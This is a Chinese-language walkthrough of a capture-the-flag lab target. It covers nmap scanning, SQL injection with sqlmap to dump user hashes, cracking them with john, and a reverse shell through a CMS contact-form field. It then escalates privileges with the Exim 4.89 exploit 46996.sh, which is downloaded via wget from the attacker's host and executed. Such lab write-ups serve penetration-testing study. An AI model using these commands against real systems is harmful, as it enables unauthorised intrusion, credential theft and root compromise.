信息收集
扫描当前网段
nmap -sP 192.168.202.0/24
扫描开放端口
nmap -A -p- -v 192.168.202.147
访问靶机的80端口,用Wappalyzer识别框架
随便看看页面,简单对存在的参数进行sql测试,发现了一处疑似sql注入漏洞
漏洞利用
直接放到sqlmap跑吧,懒得手测了。
sqlmap -u http://192.168.202.147?nid=1 --dbs --batch
- --batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
查表
sqlmap -u http://192.168.202.147?nid=1 -D d7db --tables --batch
查字段
sqlmap -u http://192.168.202.147?nid=1 -D d7db -T users --columns --batch
读账号密码
sqlmap -u http://192.168.202.147?nid=1 -D d7db -T users -C name,pass --dump --batch
得出来的是密文,怎么办?看到有个用户名是john,是不是提示我们用john这个攻击?
将密文放到2.txt里面,用john爆破试试
使用john开始爆破hash
john 2.txt
得出john的密码为turtle,admin的账号密码没有爆出来。
得到密码后,使用dirsearch扫以下后台登录界面
登录站点,四处寻找可以getshell的地方
反弹shell
发现在Find content => WEBFROM => Form settings处可以操控webshell
尝试了一下,发现直接写一句话密码没出现路径,盲测了几个也不行。所以这里换个思路,进行反弹shell,<p>标签最后不要去掉。
注意看上面<p>标签那里,这是在Contact Us这里提交后,返回给我们的话语。所以我们得在Contat Us这里随便提交点东西,才能执行php代码。
接收到shell后,弄个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
提权
尝试一下SUID提权
find / -perm -4000 -print 2>/dev/null
发现有个exim4,大致是个邮件服务器,可以用来提权
(2条消息) Exim4邮件服务器_ctbinzi的博客-CSDN博客_exim邮件服务器
查看一下exim4版本,为4.89
/usr/sbin/exim4 --version
进入searchsploit寻找一下漏洞
searchsploit exim
寻找版本合适,并且是用于提权的,找到了46996.sh
将其复制到本地,并改名为getshell.sh
cp /usr/share/exploitdb/exploits/linux/local/46996.sh getshell.sh
因为这个脚本是在windows下开发,linux识别不了文件。所以需要先在本地进行编辑,如果直接在反弹拿到的shell里面用,是会报下面的错误。
用vim编辑getshell.sh
vim getshell.sh
按下Esc键,输入下面命令后回车查看文件类型,如果是dos则需要修改为unix模式使用
:set ff?
将其修改为unix模式,步骤还是一样的,修改后保存并退出
:set ff=unix
:wq
修改好后,将getshell.sh放到kali机/var/www/html/11目录下,11是个文件夹
在终端开启apache服务
service apache2 start
在反弹拿到的shell处,进入/tmp目录后下载
cd /tmp
wget http://192.168.202.129/11/getshell.sh
运行sh文件还得赋予可执行权限
chmod +x getshell.sh
最后执行该文件,提权就完成了
./getshell.sh -m netcat
文章评论